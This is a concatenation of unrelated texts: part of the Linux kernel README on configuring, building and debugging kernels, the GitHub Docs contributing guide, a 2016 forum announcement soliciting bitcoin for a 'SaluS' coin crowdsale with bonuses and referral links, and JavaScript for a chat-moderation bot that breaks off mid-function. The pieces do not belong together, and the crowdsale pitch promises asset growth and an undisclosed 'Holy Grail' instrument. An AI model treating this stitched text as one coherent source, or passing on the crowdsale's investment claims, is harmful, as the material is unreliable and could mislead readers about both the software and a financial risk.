(including .config). Example: kernel source code: /usr/src/linux-3.X build directory: /home/name/build/kernel To configure and build the kernel, use: cd /usr/src/linux-3.X make O=/home/name/build/kernel menuconfig make O=/home/name/build/kernel sudo make O=/home/name/build/kernel modules_install install Please note: If the 'O=output/dir' option is used, then it must be used for all invocations of make. CONFIGURING the kernel: Do not skip this step even if you are only upgrading one minor version. New configuration options are added in each release, and odd problems will turn up if the configuration files are not set up as expected. If you want to carry your existing configuration to a new version with minimal work, use "make oldconfig", which will only ask you for the answers to new questions. - Alternative configuration commands are: "make config" Plain text interface. "make menuconfig" Text based color menus, radiolists & dialogs. "make nconfig" Enhanced text based color menus. "make xconfig" X windows (Qt) based configuration tool. "make gconfig" X windows (Gtk) based configuration tool. "make oldconfig" Default all questions based on the contents of your existing ./.config file and asking about new config symbols. "make silentoldconfig" Like above, but avoids cluttering the screen with questions already answered. Additionally updates the dependencies. "make olddefconfig" Like above, but sets new symbols to their default values without prompting. "make defconfig" Create a ./.config file by using the default symbol values from either arch/$ARCH/defconfig or arch/$ARCH/configs/${PLATFORM}_defconfig, depending on the architecture. "make ${PLATFORM}_defconfig" Create a ./.config file by using the default symbol values from arch/$ARCH/configs/${PLATFORM}_defconfig. Use "make help" to get a list of all available platforms of your architecture. "make allyesconfig" Create a ./.config file by setting symbol values to 'y' as much as possible. "make allmodconfig" Create a ./.config file by setting symbol values to 'm' as much as possible. "make allnoconfig" Create a ./.config file by setting symbol values to 'n' as much as possible. "make randconfig" Create a ./.config file by setting symbol values to random values. "make localmodconfig" Create a config based on current config and loaded modules (lsmod). Disables any module option that is not needed for the loaded modules. To create a localmodconfig for another machine, store the lsmod of that machine into a file and pass it in as a LSMOD parameter. target$ lsmod > /tmp/mylsmod target$ scp /tmp/mylsmod host:/tmp host$ make LSMOD=/tmp/mylsmod localmodconfig The above also works when cross compiling. "make localyesconfig" Similar to localmodconfig, except it will convert all module options to built in (=y) options. You can find more information on using the Linux kernel config tools in Documentation/kbuild/kconfig.txt. - NOTES on "make config": - Having unnecessary drivers will make the kernel bigger, and can under some circumstances lead to problems: probing for a nonexistent controller card may confuse your other controllers - Compiling the kernel with "Processor type" set higher than 386 will result in a kernel that does NOT work on a 386. The kernel will detect this on bootup, and give up. - A kernel with math-emulation compiled in will still use the coprocessor if one is present: the math emulation will just never get used in that case. The kernel will be slightly larger, but will work on different machines regardless of whether they have a math coprocessor or not. - The "kernel hacking" configuration details usually result in a bigger or slower kernel (or both), and can even make the kernel less stable by configuring some routines to actively try to break bad code to find kernel problems (kmalloc()). Thus you should probably answer 'n' to the questions for "development", "experimental", or "debugging" features. COMPILING the kernel: - Make sure you have at least gcc 3.2 available. For more information, refer to Documentation/Changes. Please note that you can still run a.out user programs with this kernel. - Do a "make" to create a compressed kernel image. It is also possible to do "make install" if you have lilo installed to suit the kernel makefiles, but you may want to check your particular lilo setup first. To do the actual install, you have to be root, but none of the normal build should require that. Don't take the name of root in vain. - If you configured any of the parts of the kernel as `modules', you will also have to do "make modules_install". - Verbose kernel compile/build output: Normally, the kernel build system runs in a fairly quiet mode (but not totally silent). However, sometimes you or other kernel developers need to see compile, link, or other commands exactly as they are executed. For this, use "verbose" build mode. This is done by inserting "V=1" in the "make" command. E.g.: make V=1 all To have the build system also tell the reason for the rebuild of each target, use "V=2". The default is "V=0". - Keep a backup kernel handy in case something goes wrong. This is especially true for the development releases, since each new release contains new code which has not been debugged. Make sure you keep a backup of the modules corresponding to that kernel, as well. If you are installing a new kernel with the same version number as your working kernel, make a backup of your modules directory before you do a "make modules_install". Alternatively, before compiling, use the kernel config option "LOCALVERSION" to append a unique suffix to the regular kernel version. LOCALVERSION can be set in the "General Setup" menu. - In order to boot your new kernel, you'll need to copy the kernel image (e.g. .../linux/arch/i386/boot/bzImage after compilation) to the place where your regular bootable kernel is found. - Booting a kernel directly from a floppy without the assistance of a bootloader such as LILO, is no longer supported. If you boot Linux from the hard drive, chances are you use LILO, which uses the kernel image as specified in the file /etc/lilo.conf. The kernel image file is usually /vmlinuz, /boot/vmlinuz, /bzImage or /boot/bzImage. To use the new kernel, save a copy of the old image and copy the new image over the old one. Then, you MUST RERUN LILO to update the loading map!! If you don't, you won't be able to boot the new kernel image. Reinstalling LILO is usually a matter of running /sbin/lilo. You may wish to edit /etc/lilo.conf to specify an entry for your old kernel image (say, /vmlinux.old) in case the new one does not work. See the LILO docs for more information. After reinstalling LILO, you should be all set. Shutdown the system, reboot, and enjoy! If you ever need to change the default root device, video mode, ramdisk size, etc. in the kernel image, use the 'rdev' program (or alternatively the LILO boot options when appropriate). No need to recompile the kernel to change these parameters. - Reboot with the new kernel and enjoy. IF SOMETHING GOES WRONG: - If you have problems that seem to be due to kernel bugs, please check the file MAINTAINERS to see if there is a particular person associated with the part of the kernel that you are having trouble with. If there isn't anyone listed there, then the second best thing is to mail them to me (torvalds@linux-foundation.org), and possibly to any other relevant mailing-list or to the newsgroup. - In all bug-reports, *please* tell what kernel you are talking about, how to duplicate the problem, and what your setup is (use your common sense). If the problem is new, tell me so, and if the problem is old, please try to tell me when you first noticed it. - If the bug results in a message like unable to handle kernel paging request at address C0000010 Oops: 0002 EIP: 0010:XXXXXXXX eax: xxxxxxxx ebx: xxxxxxxx ecx: xxxxxxxx edx: xxxxxxxx esi: xxxxxxxx edi: xxxxxxxx ebp: xxxxxxxx ds: xxxx es: xxxx fs: xxxx gs: xxxx Pid: xx, process nr: xx xx xx xx xx xx xx xx xx xx xx or similar kernel debugging information on your screen or in your system log, please duplicate it *exactly*. The dump may look incomprehensible to you, but it does contain information that may help debugging the problem. The text above the dump is also important: it tells something about why the kernel dumped code (in the above example, it's due to a bad kernel pointer). More information on making sense of the dump is in Documentation/oops-tracing.txt - If you compiled the kernel with CONFIG_KALLSYMS you can send the dump as is, otherwise you will have to use the "ksymoops" program to make sense of the dump (but compiling with CONFIG_KALLSYMS is usually preferred). This utility can be downloaded from ftp://ftp.<country>.kernel.org/pub/linux/utils/kernel/ksymoops/ . Alternatively, you can do the dump lookup by hand: - In debugging dumps like the above, it helps enormously if you can look up what the EIP value means. The hex value as such doesn't help me or anybody else very much: it will depend on your particular kernel setup. What you should do is take the hex value from the EIP line (ignore the "0010:"), and look it up in the kernel namelist to see which kernel function contains the offending address. To find out the kernel function name, you'll need to find the system binary associated with the kernel that exhibited the symptom. This is the file 'linux/vmlinux'. To extract the namelist and match it against the EIP from the kernel crash, do: nm vmlinux | sort | less This will give you a list of kernel addresses sorted in ascending order, from which it is simple to find the function that contains the offending address. Note that the address given by the kernel debugging messages will not necessarily match exactly with the function addresses (in fact, that is very unlikely), so you can't just 'grep' the list: the list will, however, give you the starting point of each kernel function, so by looking for the function that has a starting address lower than the one you are searching for but is followed by a function with a higher address you will find the one you want. In fact, it may be a good idea to include a bit of "context" in your problem report, giving a few lines around the interesting one. If you for some reason cannot do the above (you have a pre-compiled kernel image or similar), telling me as much about your setup as possible will help. Please read the REPORTING-BUGS document for details. - Alternatively, you can use gdb on a running kernel. (read-only; i.e. you cannot change values or set break points.) To do this, first compile the kernel with -g; edit arch/i386/Makefile appropriately, then do a "make clean". You'll also need to enable CONFIG_PROC_FS (via "make config"). After you've rebooted with the new kernel, do "gdb vmlinux /proc/kcore". You can now use all the usual gdb commands. The command to look up the point where your system crashed is "l *0xXXXXXXXX". (Replace the XXXes with the EIP value.) gdb'ing a non-running kernel currently fails because gdb (wrongly) disregards the starting offset for which the kernel is compiled.

# Contributing to this repository <!-- omit in toc --> ## Getting started <!-- omit in toc --> Before you begin: - This site is powered by Node.js. Check to see if you're on the [version of node we support](contributing/development.md). - Have you read the [code of conduct](CODE_OF_CONDUCT.md)? - Check out the [existing issues](https://github.com/github/docs/issues) & see if we [accept contributions](#types-of-contributions-memo) for your type of issue. ### Use the 'make a contribution' button  Navigating a new codebase can be challenging, so we're making that a little easier. As you're using docs.github.com, you may come across an article that you want to make an update to. You can click on the **make a contribution** button right on that article, which will take you to the file in this repo where you'll make your changes. Before you make your changes, check to see if an [issue exists](https://github.com/github/docs/issues/) already for the change you want to make. ### Don't see your issue? Open one If you spot something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### Ready to make a change? Fork the repo Fork using GitHub Desktop: - [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop. - Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)! Fork using the command line: - [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them. Fork with [GitHub Codespaces](https://github.com/features/codespaces): - [Fork, edit, and preview](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces/creating-a-codespace) using [GitHub Codespaces](https://github.com/features/codespaces) without having to install and run the project locally. ### Make your update: Make your changes to the file(s) you'd like to update. Here are some tips and tricks for [using the docs codebase](#working-in-the-githubdocs-repository). - Are you making changes to the application code? You'll need **Node.js v14** to run the site locally. See [contributing/development.md](contributing/development.md). - Are you contributing to markdown? We use [GitHub Markdown](contributing/content-markup-reference.md). ### Open a pull request When you're done making changes and you'd like to propose them for review, use the [pull request template](#pull-request-template) to open your PR (pull request). ### Submit your PR & get it reviewed - Once you submit your PR, others from the Docs community will review it with you. The first thing you're going to want to do is a [self review](#self-review). - After that, we may have questions, check back on your PR to keep up with the conversation. - Did you have an issue, like a merge conflict? Check out our [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) on how to resolve merge conflicts and other issues. ### Your PR is merged! Congratulations! The whole GitHub community thanks you. :sparkles: Once your PR is merged, you will be proudly listed as a contributor in the [contributor chart](https://github.com/github/docs/graphs/contributors). ### Keep contributing as you use GitHub Docs Now that you're a part of the GitHub Docs community, you can keep participating in many ways. **Learn more about contributing:** - [Types of contributions :memo:](#types-of-contributions-memo) - [:mega: Discussions](#mega-discussions) - [:beetle: Issues](#beetle-issues) - [:hammer_and_wrench: Pull requests](#hammer_and_wrench-pull-requests) - [:question: Support](#question-support) - [:earth_asia: Translations](#earth_asia-translations) - [:balance_scale: Site Policy](#balance_scale-site-policy) - [Starting with an issue](#starting-with-an-issue) - [Labels](#labels) - [Opening a pull request](#opening-a-pull-request) - [Working in the github/docs repository](#working-in-the-githubdocs-repository) - [Reviewing](#reviewing) - [Self review](#self-review) - [Pull request template](#pull-request-template) - [Suggested changes](#suggested-changes) - [Windows](#windows) ## Types of contributions :memo: You can contribute to the GitHub Docs content and site in several ways. This repo is a place to discuss and collaborate on docs.github.com! Our small, but mighty :muscle: docs team is maintaining this repo, to preserve our bandwidth, off topic conversations will be closed. ### :mega: Discussions Discussions are where we have conversations. If you'd like help troubleshooting a docs PR you're working on, have a great new idea, or want to share something amazing you've learned in our docs, join us in [discussions](https://github.com/github/docs/discussions). ### :beetle: Issues [Issues](https://docs.github.com/en/github/managing-your-work-on-github/about-issues) are used to track tasks that contributors can help with. If an issue has a triage label, we haven't reviewed it yet and you shouldn't begin work on it. If you've found something in the content or the website that should be updated, search open issues to see if someone else has reported the same thing. If it's something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### :hammer_and_wrench: Pull requests A [pull request](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-requests) is a way to suggest changes in our repository. When we merge those changes, they should be deployed to the live site within 24 hours. :earth_africa: To learn more about opening a pull request in this repo, see [Opening a pull request](#opening-a-pull-request) below. ### :question: Support We are a small team working hard to keep up with the documentation demands of a continuously changing product. Unfortunately, we just can't help with support questions in this repository. If you are experiencing a problem with GitHub, unrelated to our documentation, please [contact GitHub Support directly](https://support.github.com/contact). Any issues, discussions, or pull requests opened here requesting support will be given information about how to contact GitHub Support, then closed and locked. If you're having trouble with your GitHub account, contact [Support](https://support.github.com/contact). ### :earth_asia: Translations This website is internationalized and available in multiple languages. The source content in this repository is written in English. We integrate with an external localization platform called [Crowdin](https://crowdin.com) and work with professional translators to localize the English content. **We do not currently accept contributions for translated content**, but we hope to in the future. ### :balance_scale: Site Policy GitHub's site policies are published on docs.github.com, too! If you find a typo in the site policy section, you can open a pull request to fix it. For anything else, see [the CONTRIBUTING guide in the site-policy repo](https://github.com/github/site-policy/blob/main/CONTRIBUTING.md). ## Starting with an issue You can browse existing issues to find something that needs help! ### Labels Labels can help you find an issue you'd like to help with. - The [`help wanted` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) is for problems or updates that anyone in the community can start working on. - The [`good first issue` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) is for problems or updates we think are ideal for beginners. - The [`content` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Acontent) is for problems or updates in the content on docs.github.com. These will usually require some knowledge of Markdown. - The [`engineering` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Aengineering) is for problems or updates in the docs.github.com website. These will usually require some knowledge of JavaScript/Node.js or YAML to fix. ## Opening a pull request You can use the GitHub user interface :pencil2: for some small changes, like fixing a typo or updating a readme. You can also fork the repo and then clone it locally, to view changes and run your tests on your machine. ## Working in the github/docs repository Here's some information that might be helpful while working on a Docs PR: - [Development](/contributing/development.md) - This short guide describes how to get this app running on your local machine. - [Content markup reference](/contributing/content-markup-reference.md) - All of our content is written in GitHub-flavored Markdown, with some additional enhancements. - [Content style guide for GitHub Docs](/contributing/content-style-guide.md) - This guide covers GitHub-specific information about how we style our content and images. It also links to the resources we use for general style guidelines. - [Reusables](/data/reusables/README.md) - We use reusables to help us keep content up to date. Instead of writing the same long string of information in several articles, we create a reusable, then call it from the individual articles. - [Variables](/data/variables/README.md) - We use variables the same way we use reusables. Variables are for short strings of reusable text. - [Liquid](/contributing/liquid-helpers.md) - We use liquid helpers to create different versions of our content. - [Scripts](/script/README.md) - The scripts directory is the home for all of the scripts you can run locally. - [Tests](/tests/README.md) - We use tests to ensure content will render correctly on the site. Tests run automatically in your PR, and sometimes it's also helpful to run them locally. ## Reviewing We (usually the docs team, but sometimes GitHub product managers, engineers, or supportocats too!) review every single PR. The purpose of reviews is to create the best content we can for people who use GitHub. :yellow_heart: Reviews are always respectful, acknowledging that everyone did the best possible job with the knowledge they had at the time. :yellow_heart: Reviews discuss content, not the person who created it. :yellow_heart: Reviews are constructive and start conversation around feedback. ### Self review You should always review your own PR first. For content changes, make sure that you: - [ ] Confirm that the changes address every part of the content design plan from your issue (if there are differences, explain them). - [ ] Review the content for technical accuracy. - [ ] Review the entire pull request using the [localization checklist](contributing/localization-checklist.md). - [ ] Copy-edit the changes for grammar, spelling, and adherence to the style guide. - [ ] Check new or updated Liquid statements to confirm that versioning is correct. - [ ] Check that all of your changes render correctly in staging. Remember, that lists and tables can be tricky. - [ ] If there are any failing checks in your PR, troubleshoot them until they're all passing. ### Pull request template When you open a pull request, you must fill out the "Ready for review" template before we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request. ### Suggested changes We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch. As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations). ## Windows This site can be developed on Windows, however a few potential gotchas need to be kept in mind: 1. Regular Expressions: Windows uses `\r\n` for line endings, while Unix based systems use `\n`. Therefore when working on Regular Expressions, use `\r?\n` instead of `\n` in order to support both environments. The Node.js [`os.EOL`](https://nodejs.org/api/os.html#os_os_eol) property can be used to get an OS-specific end-of-line marker. 1. Paths: Windows systems use `\` for the path separator, which would be returned by `path.join` and others. You could use `path.posix`, `path.posix.join` etc and the [slash](https://ghub.io/slash) module, if you need forward slashes - like for constructing URLs - or ensure your code works with either. 1. Bash: Not every Windows developer has a terminal that fully supports Bash, so it's generally preferred to write [scripts](/script) in JavaScript instead of Bash.

Reserve funds will be used to increase NAV by various means, including but not limited to investing in other coins, by trade or buy back. ICO: Crowdfunding & Price Discovery: Total BTC raised during the crowdfunding will act as the price discovery mechanism. 1,000,000 Salus will be distributed among investors based on percentage invested. My share of SLS will based on total value of coins listed within Kick Starter and Trading Coins at the end of ICO. Crowdfunding phase extended to 1-18-2016 The first 10 supporters/participants will receive 10% bonus SaluS coin after distribution is over. The next 10 participants will receive 5% extra SLS. Participation requires minimum of 0.01 BTC. Crowdfunding Address: Quote 1LJPiY3vUeN5SkLY9k8qBHeMdBeXJNNtBe and Form:http://goo.gl/forms/0cMMy02srh Must be completed. Make sure to send from an address you control, not an exchange. Total Collected:https://blockchain.info/address/1LJPiY3vUeN5SkLY9k8qBHeMdBeXJNNtBe Or Use escrow Escrow Instructions: https://bitcointalk.org/index.php?topic=1317448.msg13471975#msg13471975 Kick Starter Coins: HyperStake RateCoin AudioCoin Noble Redd Viral PebbleCoin PeerCoin HYP XRA ADC NOBL RDD VIRAL XPB PPC 7,000,000: 4,000,000: 20,000,000: 70,000,000: 20,000,000: 100,000: 150,000: 100: Trading coins: BitShare Burst NXT SiaCoin XEM Dashcoin Horizon Florin Quatloo Monero BTS BURST NXT SIA XEM DSH HZ FLO QTL XMR 50,000 5,000,000 100,000 20,000,000 1,000,000 100,000 500,000 100,000 10,000 200 Cloud Staking Service: - Coin Request Form - http://goo.gl/forms/30P0We6pke HyperStake RateCoin AudioCoin Noble Redd Viral RUBY HYP XRA ADC NOBL RDD VIRAL RBY http://goo.gl/forms/Yyaub9a5aX http://goo.gl/forms/161pSKoC6Y http://goo.gl/forms/M1AG1YCinF http://goo.gl/forms/qXMhkzxdCn http://goo.gl/forms/LrAAE6kVFM http://goo.gl/forms/ZF1z6MgRYN http://goo.gl/forms/FV98Be3ZPq AFFILIATE PROGRAMS: Affiliate Program Submission form-http://goo.gl/forms/6bujSMhkgM Exchanges: Coinbase localbitcoins Bleutrade 1Broker https://www.coinbase.com/join/ https://localbitcoins.com/? https://bleutrade.com/sign_up/ https://1broker.com/m/r.php Mining: MinerGate LTCrabbit CoinKing.io https://minergate.com/ https://www.ltcrabbit.com/ http://coinking.io/? Hosting/VPS/VPN/Domains: NameCheap BitDomain.BIZ BitVPN.org http://www.namecheap.com/? http://www.bitdomain.biz/? https://bitvpn.org/? Gaming: BC Casino Directbet.eu Bitcasino.io Betterbet.io DigiByte https://www.bc-casino.com/? http://www.directbet.eu? http://coinpoker.io? https://betterbets.io/? http://www.digibytegaming.com/users/sign_up? Interest paying Wallets BW.com https://bw.com/ MISC. cointracking.info FreeDogeCoin FreeBitcoin http://cointracking.info http://freedoge.co.in/? http://freebitco.in/? Consumer Goods: Compiling List. PM me on BCT, Slack or IRC if you have any question, concerns or suggestions. Special Thanks: Syntaks - wallet Presstab - Block Explorer/Code review SebastianJu - Escrow Stoner19 - Feedback/Pool/All around help. iDunk - Win64 wallet Billotronic - MAC wallet ozmaster - Advice/Coinbar Listing Drew - IRC Bot And everyone else that has been supportive of this project.| Coin Specifications Coin Name - SaluS Ticker - SLS Annual Interest - 1% Supply - 1,000,000 Min stake age - 8 hours Max stake age - No Max age SaluS Fund Transaction Fee - .0001 Block Time - 3Min Block maturity - 5 p2p Port - 22534 rpc port - 22530 50 confirm stake minimum for eligibility (Wallet was developed by Syntaks)- https://bitcointalk.org/index.php?action=profile;u=175669 (BlockExplorer provided by Presstab)- http://www.presstab.pw/ Logo- http://saluscoin.info/pics/sls.png Source- https://github.com/saluscoin/SaluS Wallet - Win 32 | Win 64 | Raspi | Mac Block Explorer- http://sls.presstab.pw Nodes:http://www.presstab.pw/phpexplorer/SLS/nodes.php Exchanges: Bittrex - https://stage.bittrex.com/Market/Index?MarketName=BTC-SLS YoBit - https://yobit.net/en/trade/SLS/BTC Vote: - https://c-cex.com/?id=vote&coin=sls PM me if interest in adding SLS to your exchange Faucet: http://crypto-faucet.eu/faucets/sls About: An experimental Coin aimed to increase Net Asset Value (NAV) by various means. Kick Starter Coins: Below is a list of coins that will be included during the initial phase of this project. Listed coins will stake on behalf of SaluS project, stakes will be sold on exchanges to increase BTC reserve. Cloud Staking Service: Fees will be 5% of the stakes, however, the advantages listed below easily outweigh the fees. 1) Experience, keen knowledge of Coin specs. 2) Customized wallets for optimum stacking 3) Staking Advantage, (whaling weight/diff), Research for Optimum block size. 4) 24/7 Uptime, No Hassle, no worry, No Resource staking. Affiliate programs: All profit made from affiliate programs will go to SaluS reserve to increase NAV. If you hold Salus coin and would like to help your investment grow, sign up for the services listed below using provided links. Foundation Transaction Fee - .0001 This is a separate TX fee of .0001 that goes to a specific Address, called the Foundation Transaction fee. This fee is in place for couple of reasons. 1) To control inflation since the supply is set to increase by 1% annually. 2) Resold to increase the reserve. Mining Guaranteed Minimum CPU hash rate of 1000H/s Would encourage everyone invested in this coin with CPU power to spare, to click on the link below. link will be up soon. Traders Advantage: Top 10 Claimed Addresses on the rich list will have access to all trades and portfolio activity/status in near real time. There will be a fee for those who are not on top 10 list but would like to have access to such information. All fees will be added to the reserve fund. MultiPool: http://hashgoal.com/ "Holy Grail" - Financial Instrument Will not disclose any information about this project at this time, but I do believe this will take SaluS to a whole new level if it gets off the ground. (details on this project will be announced as soon as development officially starts)

var config = { name: 'KTN Bot', userid: function () { return toId(this.name); }, group: '@', join: true, rooms: ['lobby'], punishvals: { 1: 'warn', 2: 'mute', 3: 'hourmute', 4: 'roomban', 5: 'ban' }, privaterooms: ['staff'], hosting: {}, laddering: true, ladderPercentage: 70, debug: false }; /** * On server start, this sets up fake user connection for bot and uses a fake ip. * It gets a the fake user from the users list and modifies it properties. In addition, * it sets up rooms that bot will join and adding the bot user to Users list and * removing the fake user created which already filled its purpose * of easily filling in the gaps of all the user's property. */ function joinServer() { if (process.uptime() > 5) return; // to avoid running this function again when reloading var worker = new(require('./fake-process.js').FakeProcess)(); Users.socketConnect(worker.server, undefined, '1', '76.19.156.198'); for (var i in Users.users) { if (Users.users[i].connections[0].ip === '76.19.156.198') { var bot = Users.users[i]; bot.name = config.name; bot.named = true; bot.renamePending = config.name; bot.authenticated = true; bot.userid = config.userid(); bot.group = config.group; if (config.join === true) { for (var all in Rooms.rooms) { if (all != 'global') { bot.roomCount[all] = 1; } } Users.users[bot.userid] = bot; for (var allRoom in Rooms.rooms) { if (allRoom != 'global') { Rooms.rooms[allRoom].users[Users.users[bot.userid]] = Users.users[bot.userid]; } } } else { for (var index in config.rooms) { if (index != 'global') { bot.roomCount[joinRooms[index]] = 1; } } Users.users[bot.userid] = bot; for (var jIndex in config.rooms) { if (jIndex != 'global') { Rooms.rooms[jIndex].users[Users.users[bot.userid]] = Users.users[bot.userid]; } } } delete Users.users[i]; } } } const ACTION_COOLDOWN = 3 * 1000; const FLOOD_MESSAGE_NUM = 5; const FLOOD_PER_MSG_MIN = 500; // this is the minimum time between messages for legitimate spam. It's used to determine what "flooding" is caused by lag const FLOOD_MESSAGE_TIME = 6 * 1000; const MIN_CAPS_LENGTH = 18; const MIN_CAPS_PROPORTION = 0.8; var parse = { chatData: {}, processChatData: function (user, room, connection, message) { if (user.userid === config.userid() || !room.users[config.userid()]) return true; var cmds = this.processBotCommands(user, room, connection, message); if (cmds) return false; message = message.trim().replace(/ +/g, " "); // removes extra spaces so it doesn't trigger stretching this.updateSeen(user.userid, 'c', room.title); var time = Date.now(); if (!this.chatData[user]) this.chatData[user] = { zeroTol: 0, lastSeen: '', seenAt: time }; if (!this.chatData[user][room]) this.chatData[user][room] = { times: [], points: 0, lastAction: 0 }; this.chatData[user][room].times.push(time); var pointVal = 0; var muteMessage = ''; // moderation for flooding (more than x lines in y seconds) var isFlooding = (this.chatData[user][room].times.length >= FLOOD_MESSAGE_NUM && (time - this.chatData[user][room].times[this.chatData[user][room].times.length - FLOOD_MESSAGE_NUM]) < FLOOD_MESSAGE_TIME && (time - this.chatData[user][room].times[this.chatData[user][room].times.length - FLOOD_MESSAGE_NUM]) > (FLOOD_PER_MSG_MIN * FLOOD_MESSAGE_NUM)); if (isFlooding) { if (pointVal < 2) { pointVal = 2; muteMessage = ', flooding'; } } // moderation for caps (over x% of the letters in a line of y characters are capital) var capsMatch = message.replace(/[^A-Za-z]/g, '').match(/[A-Z]/g); if (capsMatch && toId(message).length > MIN_CAPS_LENGTH && (capsMatch.length >= Math.floor(toId(message).length * MIN_CAPS_PROPORTION))) { if (pointVal < 1) { pointVal = 1; muteMessage = ', caps'; } } // moderation for stretching (over x consecutive characters in the message are the same) var stretchMatch = message.toLowerCase().match(/(.)\1{7,}/g) || message.toLowerCase().match(/(..+)\1{4,}/g); // matches the same character (or group of characters) 8 (or 5) or more times in a row if (stretchMatch) { if (pointVal < 1) { pointVal = 1; muteMessage = ', stretching'; } } if (pointVal > 0 && !(time - this.chatData[user][room].lastAction < ACTION_COOLDOWN)) { var cmd = 'mute'; // defaults to the next punishment in config.punishVals instead of repeating the same action (so a second warn-worthy // offence would result in a mute instead of a warn, and the third an hourmute, etc) if (this.chatData[user][room].points >= pointVal && pointVal < 4) { this.chatData[user][room].points++; cmd = config.punishvals[this.chatData[user][room].points] || cmd; } else { // if the action hasn't been done before (is worth more points) it will be the one picked cmd = config.punishvals[pointVal] || cmd; this.chatData[user][room].points = pointVal; // next action will be one level higher than this one (in most cases) } if (config.privaterooms.indexOf(room) >= 0 && cmd === 'warn') cmd = 'mute'; // can't warn in private rooms // if the bot has % and not @, it will default to hourmuting as its highest level of punishment instead of roombanning if (this.chatData[user][room].points >= 4 && config.group === '%') cmd = 'hourmute'; if (this.chatData[user].zeroTol > 4) { // if zero tolerance users break a rule they get an instant roomban or hourmute muteMessage = ', zero tolerance user'; cmd = config.group !== '%' ? 'roomban' : 'hourmute'; } if (this.chatData[user][room].points >= 2) this.chatData[user].zeroTol++; // getting muted or higher increases your zero tolerance level (warns do not) this.chatData[user][room].lastAction = time; room.add('|c|' + user.group + user.name + '|' + message); CommandParser.parse(('/' + cmd + ' ' + user.userid + muteMessage), room, Users.get(config.name), Users.get(config.name).connections[0]); return false; } return true; }, updateSeen: function (user, type, detail) { user = toId(user); type = toId(type); if (type in {j: 1, l: 1, c: 1} && (config.rooms.indexOf(toId(detail)) === -1 || config.privaterooms.indexOf(toId(detail)) > -1)) return; var time = Date.now(); if (!this.chatData[user]) this.chatData[user] = { zeroTol: 0, lastSeen: '', seenAt: time }; if (!detail) return; var msg = ''; if (type in {j: 1, l: 1, c: 1}) { msg += (type === 'j' ? 'joining' : (type === 'l' ? 'leaving' : 'chatting in')) + ' ' + detail.trim() + '.'; } else if (type === 'n') { msg += 'changing nick to ' + ('+%@&#~'.indexOf(detail.trim().charAt(0)) === -1 ? detail.trim() : detail.trim().substr(1)) + '.'; } if (msg) { this.chatData[user].lastSeen = msg; this.chatData[user].seenAt = time; } }, processBotCommands: function (user, room, connection, message) { if (room.type !== 'chat' || message.charAt(0) !== '.') return; var cmd = '', target = '', spaceIndex = message.indexOf(' '), botDelay = (Math.floor(Math.random() * 6) * 1000), now = Date.now(); if (spaceIndex > 0) { cmd = message.substr(1, spaceIndex - 1); target = message.substr(spaceIndex + 1); } else { cmd = message.substr(1); target = ''; } cmd = cmd.toLowerCase(); if ((message.charAt(0) === '.' && Object.keys(Bot.commands).join(' ').toString().indexOf(cmd) >= 0 && message.substr(1) !== '') && !Bot.config.debug) { if ((now - user.lastBotCmd) * 0.001 < 30) { connection.sendTo(room, 'Please wait ' + Math.floor((30 - (now - user.lastBotCmd) * 0.001)) + ' seconds until the next command.'); return true; } user.lastBotCmd = now; } if (commands[cmd]) { var context = { sendReply: function (data) { setTimeout(function () { room.add('|c|' + config.group + config.name + '|' + data); }, botDelay); }, sendPm: function (data) { var message = '|pm|' + config.group + config.name + '|' + user.group + user.name + '|' + data; user.send(message); }, can: function (permission) { if (!user.can(permission)) { setTimeout(function () { connection.sendTo(room, '.' + cmd + ' - Access denied.'); }, botDelay); return false; } return true; }, parse: function (target) { CommandParser.parse(target, room, Users.get(Bot.config.name), Users.get(Bot.config.name).connections[0]); }, }; if (typeof commands[cmd] === 'function') { commands[cmd].call(context, target, room, user, connection, cmd, message); } } }, getTimeAgo: function (time) { time = Date.now() - time; time = Math.round(time / 1000); // rounds to nearest second var seconds = time % 60; var times = []; if (seconds) times.push(String(seconds) + (seconds === 1 ? ' second' : ' seconds')); var minutes, hours, days; if (time >= 60) { time = (time - seconds) / 60; // converts to minutes minutes = time % 60; if (minutes) times = [String(minutes) + (minutes === 1 ? ' minute' : ' minutes')].concat(times); if (time >= 60) { time = (time - minutes) / 60; // converts to hours hours = time % 24; if (hours) times = [String(hours) + (hours === 1 ? ' hour' : ' hours')].concat(times); if (time >= 24) { days = (time - hours) / 24; // you can probably guess this one if (days) times = [String(days) + (days === 1 ? ' day' : ' days')].concat(times); } } } if (!times.length) times.push('0 seconds'); return times.join(', '); } }; var commands = { guide: function (target, room, user) { var commands = Object.keys(Bot.commands); commands = commands.join(', ').toString(); this.sendReply('List of bot commands: ' + commands); }, say: function (target, room, user) { if (!this.can('say')) return; this.sendReply(target); }, tell: function (target, room, user) { if (!this.can('bottell')) return; var parts = target.split(','); if (parts.length < 2) return; this.parse('/tell ' + toId(parts[0]) + ', ' + Tools.escapeHTML(parts[1])); this.sendReply('Message sent to ' + parts[0] + '.'); }, penislength: function (target, room, user) { this.sendReply('8.5 inches from the base. Perv.'); }, seen: function (target, room, user, connection) { if (!target) return; if (!toId(target) || toId(target).length > 18) return connection.sendTo(room, 'Invalid username.'); if 